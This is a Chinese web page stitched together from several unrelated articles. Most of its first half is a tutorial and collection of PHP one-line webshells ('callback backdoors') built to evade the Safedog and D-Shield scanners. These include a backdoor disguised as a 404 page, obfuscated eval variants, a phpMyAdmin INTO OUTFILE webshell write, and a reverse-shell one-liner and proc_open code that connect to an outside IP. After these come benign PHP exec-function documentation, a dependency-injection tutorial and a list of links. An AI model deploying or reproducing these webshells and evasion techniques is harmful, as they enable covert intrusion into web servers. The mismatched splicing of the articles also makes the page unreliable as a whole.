PHP回调后门可绕过安全狗
最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如$_GET['func']($_REQUEST['pass'])之类的方法。万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的。
那么,我就分享一下,一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。
0x00 前言
有很多朋友喜欢收藏一些tips,包括我也收藏了好多tips,有时候在渗透和漏洞挖掘过程中很有用处。
一句话的tips相信很多朋友也收集过好多,过狗一句话之类的。14年11月好像在微博上也火过一个一句话,当时也记印象笔记里了:
有同学收集tips,就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数(无特征)的一句话(后门)?
根据上面这个pdo的一句话,我就可以得到一个很具有普适性的结论:php中包含回调函数参数的函数,具有做后门的潜质。
我就自己给这类webshell起了个名字:回调后门。
0x01 回调后门的老祖宗
php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:
call_user_func('assert', $_REQUEST['pass']);
assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。
这个后门,狗和盾都可以查到(但是狗不会拦截):
可php的函数库是很丰富的,只要简单改下函数安全狗就不杀了:
call_user_func_array('assert', array($_REQUEST['pass']));
call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。如图:
可见,虽然狗不杀了,D盾还是聪明地识别了出来。
看来,这种传统的回调后门,已经被一些安全厂商盯上了,存在被查杀的风险。
0x02 数组操作造成的单参数回调后门
进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。
我最早想到个最“简单好用的”:
$e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_filter($arr, base64_decode($e));
array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行):
这个后门,狗查不出来,但D盾还是有感应,报了个等级3(显然比之前的等级4要低了):
类似array_filter,array_map也有同样功效:
$e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_map(base64_decode($e), $arr);
依旧被D盾查杀。
果然,简单的数组回调后门,还是很容易被发现与查杀的。
0x03 php5.4.8+中的assert
php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:
这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。
比如如下回调后门:
$e = $_REQUEST['e']; $arr = array('test', $_REQUEST['pass']); uasort($arr, base64_decode($e));
这个后门在php5.3时会报错,提示assert只能有一个参数:
php版本改作5.4后就可以执行了:
这个后门,狗和盾是都查不出来的:
同样的道理,这个也是功能类似:
$e = $_REQUEST['e']; $arr = array('test' => 1, $_REQUEST['pass'] => 2); uksort($arr, $e);
再给出这两个函数,面向对象的方法:
// way 0 $arr = new ArrayObject(array('test', $_REQUEST['pass'])); $arr->uasort('assert'); // way 1 $arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2)); $arr->uksort('assert');
再来两个类似的回调后门:
$e = $_REQUEST['e']; $arr = array(1); array_reduce($arr, $e, $_POST['pass']);
$e = $_REQUEST['e']; $arr = array($_POST['pass']); $arr2 = array(1); array_udiff($arr, $arr2, $e);
以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。
我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)
0x04 三参数回调函数
有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。
array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:
php中,可以执行代码的函数:
一个参数:assert
两个参数:assert (php5.4.8+)
三个参数:preg_replace /e模式
三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:
$e = $_REQUEST['e']; $arr = array($_POST['pass'] => '|.*|e',); array_walk($arr, $e, '');
如图,这个后门可以在5.3下使用:
但强大的D盾还是有警觉(虽然只是等级2):
不过呵呵,PHP拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)D盾就查不出来了:
$e = $_REQUEST['e']; $arr = array($_POST['pass'] => '|.*|e',); array_walk_recursive($arr, $e, '');
不截图了。
看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的:
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
另一个:
echo preg_filter('|.*|e', $_REQUEST['pass'], '');
这两个一句话都是不杀的:
好用的一句话,且用且珍惜呀。
0x05 无回显回调后门
回调后门里,有个特殊的例子:ob_start。
ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:
ob_start('assert'); echo $_REQUEST['pass']; ob_end_flush();
但如果执行一个url请求,用神器cloudeye还是能够观测到结果的:
即使没输出,实际代码是执行了的。也算作回调后门的一种。
0x06 单参数后门终极奥义
preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。
这里给出几个好用不杀的回调后门
$e = $_REQUEST['e']; register_shutdown_function($e, $_REQUEST['pass']);
这个是php全版本支持的,且不报不杀稳定执行:
再来一个:
$e = $_REQUEST['e']; declare(ticks=1); register_tick_function ($e, $_REQUEST['pass']);
再来两个:
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert')); filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。
这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.
0x07 数据库操作与第三方库中的回调后门
回到最早微博上发出来的那个sqlite回调后门,其实sqlite可以构造的回调后门不止上述一个。
我们可以注册一个sqlite函数,使之与assert功能相同。当执行这个sql语句的时候,就等于执行了assert。所以这个后门我这样构造:
$e = $_REQUEST['e']; $db = new PDO('sqlite:sqlite.db3'); $db->sqliteCreateFunction('myfunc', $e, 1); $sth = $db->prepare("SELECT myfunc(:exec)"); $sth->execute(array(':exec' => $_REQUEST['pass']));
执行之:
上面的sqlite方法是依靠PDO执行的,我们也可以直接调用sqlite3的方法构造回调后门:
$e = $_REQUEST['e']; $db = new SQLite3('sqlite.db3'); $db->createFunction('myfunc', $e); $stmt = $db->prepare("SELECT myfunc(?)"); $stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT); $stmt->execute();
前提是php5.3以上。如果是php5.3以下的,使用sqlite_*函数,自己研究我不列出了。
这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的。其实如果目标环境中有特定扩展库的情况下,也可以来构造回调后门。
比如php_yaml:
$str = urlencode($_REQUEST['pass']); $yaml = <<<EOD greeting: !{$str} "|.+|e" EOD; $parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));
还有php_memcached:
$mem = new Memcache(); $re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);')); $mem->connect($_REQUEST['pass'], 11211, 0);
自行研究吧。
0x08 其他参数型回调后门
上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?
举个例子,php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换,那么其实preg_replace_callback也是可以构造回调后门的。
preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。
所以我们需要去“构造”一个满足条件的回调函数。
怎么构造?使用create_function:
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。
这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。
类似的,这个也同样:
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
再来一个利用CallbackFilterIterator方法的回调后门:
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);')); foreach ($iterator as $item) { echo $item; }
这里也是借用了create_function来创建回调函数。但有些同学就问了,这里创建的回调函数只有一个参数呀?实际上这里如果传入assert,是会报错的,具体原因自己分析。
0x09 后记
这一篇文章,就像一枚核武器,爆出了太多无特征的一句话后门。我知道相关厂商在看了文章以后,会有一些小动作。不过我既然敢写出来,那么我就敢保证这些方法是多么难以防御。
实际上,回调后门是灵活且无穷无尽的后门,只要php还在发展,那么就有很多很多拥有回调函数的后门被创造。想要防御这样的后门,光光去指哪防哪肯定是不够的。
简单想一下,只有我们去控制住assert、preg_replace这类函数,才有可能防住这种漏洞
下面我们一起来看看一篇关于phpmyadmin写入一句话木马的测试教程,希望此教程能够对各位有帮助。
方法一,一句话木马
偶尔拿到一个config中,发现是root,且还有phpmyadmin。好吧,试试
select'<?php @eval($_POST[-77]);?>'INTO OUTFILE 'E:\Web\wp-content\errors.php'
提示成功了,可是构造地址访问,提示404,看来没成功,应该是转义的问题
接着尝试:
select'<?php @eval($_POST[-77]);?>'INTO OUTFILE 'E:\\Web\\xxx.xx.vn\\wp-content\\errors.php'
再次导入,提示成功,访问后发现真的成功了。
另一种一句话木马
服务器上发现被植了很多木马,而且还让人肆意使用...NND
<?php @eval($_POST['c']);?>
使用方法也很简单,本地提交文件指向提交文件,里面的php代码就会被执行
<html> <body> <form action="a.php" method="post"> <input type="text" name="c" value="phpinfo();"> <input type="submit" value="submit"> </form> </body> </html>
利用404页面隐藏PHP小马:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> </body></html> <?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found'); ?>
404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。
无特征隐藏PHP一句话:
<?php session_start(); $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']); $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a'); 将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。 超级隐蔽的PHP后门: <?php $_GET[a]($_GET[b]);?>
仅用GET函数就构成了木马;
利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
层级请求,编码运行PHP后门:
此方法用两个文件实现,文件1
<?php //1.php header('Content-type:text/html;charset=utf-8'); parse_str($_SERVER['HTTP_REFERER'], $a); if(reset($a) == '10' && count($a) == 9) { eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6))))); } 文件2 <?php //2.php header('Content-type:text/html;charset=utf-8'); //要执行的代码 $code = <<<CODE phpinfo(); CODE; //进行base64编码 $code = base64_encode($code); //构造referer字符串 $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i="; //后门url $url = 'http://localhost/test1/1.php'; $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_REFERER => $referer ); curl_setopt_array($ch, $options); echo curl_exec($ch);
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。
PHP后门生成工具weevely
weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。
weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。
以上是大概介绍下边是截图,相关使用方法亦家就不在这介绍了,简单的科普一下。
三个变形的一句话PHP木马
第一个 <?php ($_=@$_GET[2]).@$_($_POST[1])?> 在菜刀里写http://site/1.php?2=assert密码是1 第二个 <?php $_=""; $_[+""]=''; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?> <?php ${'_'.$_}['_'](${'_'.$_}['__']);?> 在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。 第三个 ($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血!
最后列几个高级的PHP一句话木马后门:
1、 $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $hh("/[discuz]/e",$_POST['h'],"Access"); //菜刀一句
话
2、
$filename=$_GET['xbid'];
include ($filename);
//危险的include函数,直接编译任何文件为php格式运行
3、
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件
4、
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
5、include ($uid);
//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句话
6、典型一句话
程序后门代码
<?php eval_r($_POST[sb])?>
程序代码
<?php @eval_r($_POST[sb])?>
//容错代码
程序代码
<?php assert($_POST[sb]);?>
//使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
<?$_POST['sa']($_POST['sb']);?>
程序代码
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
程序代码
<O>h=@eval_r($_POST1);</O>
程序代码
<script language="php">@eval_r($_POST[sb])</script>
//绕过<?限制的一句话
综上,这些PHP一句话后门可谓五脏俱全,一不小心您肯定中招了,而我们今天这篇文章的重中之重在哪呢?重点就在下边的总结!
inux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell。
我看了一下常用的php webshell,对于命令执行、反弹shell都没有完善的方式。很多webshell里都没有proc_popen、popen这两种方式,特别是proc_popen,比如phpspy。
在我收集的反弹shell集合(http://tool.p1ng.pw/getshell.html)中,有一个方法,就是在命令行中输入:
1
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
但是有个问题,如果在webshell里执行如上代码的话,会把系统的标准输入输出重定向到/bin/sh里,导致php-fpm直接502,然后弹的shell也会瞬间掉了,这个方式比较粗鲁。而我的思路是:我只希望把我新创建的进程(/bin/sh)的标准输入输出重定向到socket中,不去动系统的东西。
当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。不需要任何其他语言的支持,php足矣。
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
其中$ip是反弹的ip,$port是反弹的端口,这也是我个人版webshell里一个小功能:
38.jpg
反弹shell的时候web页面会卡死,因为php没有异步的函数,默认也不支持多线程,所以卡住这个现象很正常,不影响反弹shell。
不过我试了,在windows下似乎不能完美运行。不知道是我环境问题(杀毒软件等)还是代码问题。silic的大马中有一个windows反弹的功能,windows下可以使用:
39.jpg
具体代码请自行到silic webshell中查看。我没有试过,不知道成功率怎么样。
另附我的webshell中执行命令的函数,各位看官自行修改后可以使用。有可以补充的,欢迎告诉我呀~
function exec_comm($cmd, &$type = '', &$suc = TRUE)
{
set_error_handler("customError");
$re = false;
if (empty($cmd)) return '执行结果';
if (empty($type)){
if(function_exists('exec')){
@exec($cmd, $re);
$re = join("\n", $re);
$type = 'exec';
}else if(function_exists('shell_exec') && ($re = shell_exec($cmd))){
$type = 'shell_exec';
}else if(function_exists('system')){
@ob_start();system($cmd);$re=@get_ob_contents();@ob_end_clean();
$type = 'system';
}else if(function_exists('passthru')){
@ob_start();passthru($cmd);$re=@get_ob_contents();@ob_end_clean();
$type = 'passthru';
}else if(is_resource($f = popen($cmd,"r"))){
while(!@feof($f)){$re .= @fread($f,1024);}@pclose($f);
$type = 'popen';
}else if(function_exists('proc_open')){
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($cmd, $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], "{$cmd}\r\n");
fwrite($pipes[0], "exit\r\n");
fclose($pipes[0]);
// 读取输出
while (!feof($pipes[1])) {
$re .= fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
$re .= fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}
}
}else if($type == 'wscript'){
$s= new COM('wscript.shell');
$exec = $s->exec($cmd);
$stdout = $exec->StdOut();
$re = $stdout->ReadAll();
}else if($type == 'application'){
$exe = gpc('exe', 'post', 'c:/windows/system32/cmd.exe');
$shell= new COM('Shell.Application');
$shell->ShellExecute($exe,$cmd);
$re = "请查看{$cmd}中输入文件内容\n";
}
if ($re === false){ $re = '命令执行可能失败,可能是执行函数被禁用或执行无回显'; $suc = FALSE;}
return $re;
}
相信大家或多或少都用过AMH,Vestacp等vps面板,这些面板都是使用的php语言,从本质上来说就是php执行linux的外部命令。
PHP 为执行外部命令提供大量函数,其中包括 shell_exec()、exec()、passthru() 和 system()。这些命令是相似的,但为您运行的外部程序提供不同的界面。所有这些命令都衍生一个子进程,用于运行您指定的命令或脚本,并且每个子进程会在命令输出写到标准输出 (stdout) 时捕捉它们。
shell_exec函数
说明:通过 shell 运行外部程序,然后以字符串的形式返回结果。
语法:string shell_exec ( string $cmd )
返回值: 字符串
详细介绍
shell_exec() 命令行实际上仅是反撇号 (`) 操作符的变体,通过该命令可以运行shell命令,然后以字符串的形式返回结果。
示例代码
统计当前目录下所有文件中的单词数量,并输出前五行。
<?php
$results = shell_exec('wc -w *.txt | head -5');
echo "<pre>".$results . "
“;
?>
exec函数
说明:与 shell_exec() 相似,返回输出的最后一行
语法:string exec ( string $command [, array &$output [, int &$return_var ]] )
返回值: 字符串
详细介绍:
本函数执行输入 command 的外部程序或外部指令。它的返回字符串只是外部程序执行后返回的最后一行;若是 return_var 跟 output 二个参数都存在,则执行 command 之后的状态会填入 return_var 中。
实例代码:
统计当前目录下所有文件中的单词数量,并输出前五行,但是实际上只输出了一行。
<?php
$results = exec('wc -w *.txt | head -5');
echo $results;
#只会输出一行:
#3847 myfile.txt
?>
passthru()
说明:passthru() 允许您运行外部程序,并在屏幕上显示结果。
语法:void passthru ( string $command [, int &$return_var ] )
返回值: 整数
详细介绍:
passthru() 允许您运行外部程序,并在屏幕上显示结果。您不需要使用 echo 或 return 来查看结果;它们会显示在浏览器上。您可以添加可选的参数,即保存从外部程序返回的代码的变量,比如表示成功的 0,这为调试提供更好的机制。
实例代码:
<?php
passthru('wc -w *.txt | head -5',$returnval);
echo "<hr/>".$returnval;
?>
system函数
说明:执行外部程序并显示输出资料。
语法:string system ( string $command [, int &$return_var ] )
返回值: 字符串
详细介绍
system() 命令是一种混合体。它像 passthru() 一样直接输出从外部程序接收到的任何东西。它还像 exec() 一样返回最后一行,并使返回代码可用。
示例代码
<?php
system('wc -w *.txt | head -5');
#输出如下:
#123 file1.txt 332 file2.txt 444 file3.txt
#and so on
?>
小结
一般来说,exec() 命令比较常用;
如果不关心结果,并且命令比较简单时,可以使用 shell_exec();
如果仅需返回一个 shell 脚本,可以使用 passthru()。
不过小编还是要说一句,没有必须使用php执行系统函数了,我们可以禁止掉了,在php.ini中我们如下写
disable_functions = proc_open,exec,passthru,shell_exec,system,popen
就可以了。
依赖注入是对于要求更易维护,更易测试,更加模块化的代码的答案。每个项目都有依赖(外界提供的输入), 项目越复杂,越需要更多的依赖。PHP程序员如何理解依赖注入容器(dependency injection container)
背景知识
传统的思路是应用程序用到一个Foo类,就会创建Foo类并调用Foo类的方法,假如这个方法内需要一个Bar类,就会创建Bar类并调用Bar类的方法,而这个方法内需要一个Bim类,就会创建Bim类,接着做些其它工作。
<?php
// 代码【1】
class Bim
{
public function doSomething()
{
echo __METHOD__, '|';
}
}
class Bar
{
public function doSomething()
{
$bim = new Bim();
$bim->doSomething();
echo __METHOD__, '|';
}
}
class Foo
{
public function doSomething()
{
$bar = new Bar();
$bar->doSomething();
echo __METHOD__;
}
}
$foo = new Foo();
$foo->doSomething(); // Bim::doSomething|Bar::doSomething|Foo::doSomething
使用依赖注入的思路是应用程序用到Foo类,Foo类需要Bar类,Bar类需要Bim类,那么先创建Bim类,再创建Bar类并把Bim注入,再创建Foo类,并把Bar类注入,再调用Foo方法,Foo调用Bar方法,接着做些其它工作。
<?php
// 代码【2】
class Bim
{
public function doSomething()
{
echo __METHOD__, '|';
}
}
class Bar
{
private $bim;
public function __construct(Bim $bim)
{
$this->bim = $bim;
}
public function doSomething()
{
$this->bim->doSomething();
echo __METHOD__, '|';
}
}
class Foo
{
private $bar;
public function __construct(Bar $bar)
{
$this->bar = $bar;
}
public function doSomething()
{
$this->bar->doSomething();
echo __METHOD__;
}
}
$foo = new Foo(new Bar(new Bim()));
$foo->doSomething(); // Bim::doSomething|Bar::doSomething|Foo::doSomething
这就是控制反转模式。依赖关系的控制反转到调用链的起点。这样你可以完全控制依赖关系,通过调整不同的注入对象,来控制程序的行为。例如Foo类用到了memcache,可以在不修改Foo类代码的情况下,改用redis。
使用依赖注入容器后的思路是应用程序需要到Foo类,就从容器内取得Foo类,容器创建Bim类,再创建Bar类并把Bim注入,再创建Foo类,并把Bar注入,应用程序调用Foo方法,Foo调用Bar方法,接着做些其它工作.
总之容器负责实例化,注入依赖,处理依赖关系等工作。
代码演示 依赖注入容器 (dependency injection container)
通过一个最简单的容器类来解释一下,这段代码来自 Twittee
<?php
class Container
{
private $s = array();
function __set($k, $c)
{
$this->s[$k] = $c;
}
function __get($k)
{
return $this->s[$k]($this);
}
}
这段代码使用了魔术方法,在给不可访问属性赋值时,__set() 会被调用。读取不可访问属性的值时,__get() 会被调用。
<?php
$c = new Container();
$c->bim = function () {
return new Bim();
};
$c->bar = function ($c) {
return new Bar($c->bim);
};
$c->foo = function ($c) {
return new Foo($c->bar);
};
// 从容器中取得Foo
$foo = $c->foo;
$foo->doSomething(); // Bim::doSomething|Bar::doSomething|Foo::doSomething
这段代码使用了匿名函数
再来一段简单的代码演示一下,容器代码来自simple di container
<?php
class IoC
{
protected static $registry = [];
public static function bind($name, Callable $resolver)
{
static::$registry[$name] = $resolver;
}
public static function make($name)
{
if (isset(static::$registry[$name])) {
$resolver = static::$registry[$name];
return $resolver();
}
throw new Exception('Alias does not exist in the IoC registry.');
}
}
IoC::bind('bim', function () {
return new Bim();
});
IoC::bind('bar', function () {
return new Bar(IoC::make('bim'));
});
IoC::bind('foo', function () {
return new Foo(IoC::make('bar'));
});
// 从容器中取得Foo
$foo = IoC::make('foo');
$foo->doSomething(); // Bim::doSomething|Bar::doSomething|Foo::doSomething
这段代码使用了后期静态绑定
依赖注入容器 (dependency injection container) 高级功能
真实的dependency injection container会提供更多的特性,如
自动绑定(Autowiring)或 自动解析(Automatic Resolution)
注释解析器(Annotations)
延迟注入(Lazy injection)
下面的代码在Twittee的基础上,实现了Autowiring。
<?php
class Bim
{
public function doSomething()
{
echo __METHOD__, '|';
}
}
class Bar
{
private $bim;
public function __construct(Bim $bim)
{
$this->bim = $bim;
}
public function doSomething()
{
$this->bim->doSomething();
echo __METHOD__, '|';
}
}
class Foo
{
private $bar;
public function __construct(Bar $bar)
{
$this->bar = $bar;
}
public function doSomething()
{
$this->bar->doSomething();
echo __METHOD__;
}
}
class Container
{
private $s = array();
public function __set($k, $c)
{
$this->s[$k] = $c;
}
public function __get($k)
{
// return $this->s[$k]($this);
return $this->build($this->s[$k]);
}
/**
* 自动绑定(Autowiring)自动解析(Automatic Resolution)
*
* @param string $className
* @return object
* @throws Exception
*/
public function build($className)
{
// 如果是匿名函数(Anonymous functions),也叫闭包函数(closures)
if ($className instanceof Closure) {
// 执行闭包函数,并将结果
return $className($this);
}
/** @var ReflectionClass $reflector */
$reflector = new ReflectionClass($className);
// 检查类是否可实例化, 排除抽象类abstract和对象接口interface
if (!$reflector->isInstantiable()) {
throw new Exception("Can't instantiate this.");
}
/** @var ReflectionMethod $constructor 获取类的构造函数 */
$constructor = $reflector->getConstructor();
// 若无构造函数,直接实例化并返回
if (is_null($constructor)) {
return new $className;
}
// 取构造函数参数,通过 ReflectionParameter 数组返回参数列表
$parameters = $constructor->getParameters();
// 递归解析构造函数的参数
$dependencies = $this->getDependencies($parameters);
// 创建一个类的新实例,给出的参数将传递到类的构造函数。
return $reflector->newInstanceArgs($dependencies);
}
/**
* @param array $parameters
* @return array
* @throws Exception
*/
public function getDependencies($parameters)
{
$dependencies = [];
/** @var ReflectionParameter $parameter */
foreach ($parameters as $parameter) {
/** @var ReflectionClass $dependency */
$dependency = $parameter->getClass();
if (is_null($dependency)) {
// 是变量,有默认值则设置默认值
$dependencies[] = $this->resolveNonClass($parameter);
} else {
// 是一个类,递归解析
$dependencies[] = $this->build($dependency->name);
}
}
return $dependencies;
}
/**
* @param ReflectionParameter $parameter
* @return mixed
* @throws Exception
*/
public function resolveNonClass($parameter)
{
// 有默认值则返回默认值
if ($parameter->isDefaultValueAvailable()) {
return $parameter->getDefaultValue();
}
throw new Exception('I have no idea what to do here.');
}
}
// ----
$c = new Container();
$c->bar = 'Bar';
$c->foo = function ($c) {
return new Foo($c->bar);
};
// 从容器中取得Foo
$foo = $c->foo;
$foo->doSomething(); // Bim::doSomething|Bar::doSomething|Foo::doSomething
// ----
$di = new Container();
$di->foo = 'Foo';
/** @var Foo $foo */
$foo = $di->foo;
var_dump($foo);
/*
Foo#10 (1) {
private $bar =>
class Bar#14 (1) {
private $bim =>
class Bim#16 (0) {
}
}
}
*/
$foo->doSomething(); // Bim::doSomething|Bar::doSomething|Foo::doSomething
以上代码的原理参考PHP官方文档:反射,PHP 5 具有完整的反射 API,添加了对类、接口、函数、方法和扩展进行反向工程的能力。 此外,反射 API 提供了方法来取出函数、类和方法中的文档注释。
相关文章
- 作为前端,一直以来都知道HTTP劫持与XSS跨站脚本、CSRF跨站请求伪造。防御这些劫持最好的方法是从后端入手,前端能做的太少。而且由于源码的暴露,攻击者很容易绕过防御手段。但这不代表我们去了解这块的相关知识是没意义的,本文的许多方法,用在其他方面也是大有作用。...2021-05-24
- 普通关闭 我的mysql是自己下载的tar包,自己设定安装目录来安装的。停止mysql服务,说来简单,但不知道的话,还真是挠头。在这和mysql入门的同学们共享:)正确方法是,进入mysql的bin目录下,然后执行./mysqladmin -uroot -p shut...2015-11-24
- 这篇文章主要介绍了C#实现线程安全的简易日志记录方法,比较实用的功能,需要的朋友可以参考下...2020-06-25
- 系统:centos 5.9 环境:apache 2.2.25 tomcat 7.0.42 jdk 1.7.0 1.安装apache 我这里是直接yum安装的,如果你们要编译安装也不是不行. 代码如下 ...2016-01-28
- 当你第一次在机器上安装MySQL时,mysql数据库中的授权表是这样初始化的:你可以从本地主机(localhost)上以root连接而不指定口令。root用户拥有所有权限(包括管理权限) 并可做任何事情。...2013-09-19
- open_basedir的作用就是指定目录位置了,意思是将PHP 所能打开的文件限制在指定的目录树,包括文件本身了,并且不受是不是安全模式的影响。 如下是php.ini中的原文...2016-11-25
- 偶这里是针对的WIN平台,现在的站长大部分都用WIN2003,相信没几个站长用低版本儿的操作系统的!...2016-01-27
- 写过很多关于Perl编程,今天继续分享一篇利用perl后门实现正向和反向连接的实例代码,需要的朋友可以参考下其中的内容详情...2020-06-29
- 本文章以自己的一些经验来告诉你黑客朋友们会怎么利用你数据库的sql漏洞来把你的数据库下载哦,有需要的同这参考一下本文章。 在数据库中建立一张表: 代码...2016-11-25
- 程序如下: $file_name = "info_check.exe"; $file_dir = "/public/www/download/"; if (!file_exists($file_dir . $file_name)) { //检查文件是否存在 ...2016-11-25
- 收集和分发数据是网络管理的职责之一,而且必须确保这些数据的准确性和安全性。不管它们是什么操作系统,数据库服务器需要特殊的管理以保证操作上的安全性。 良好的安...2016-11-25
- $_SERVER[’PHP_SELF’]在开发的时候常会用到,一般用来引用当前网页地址,并且它是系统自动生成的全局变量,也会有什么问题么?让我们先看看下面的代码吧: <form ac...2016-11-25
- <?php /** * @name date safe class 0.1 * @author kevin xu * @copyright kenvin E-mail:gincn@cn.cashboxparty.com MSN:gincn@live.cn */ interface dateSa...2016-11-25
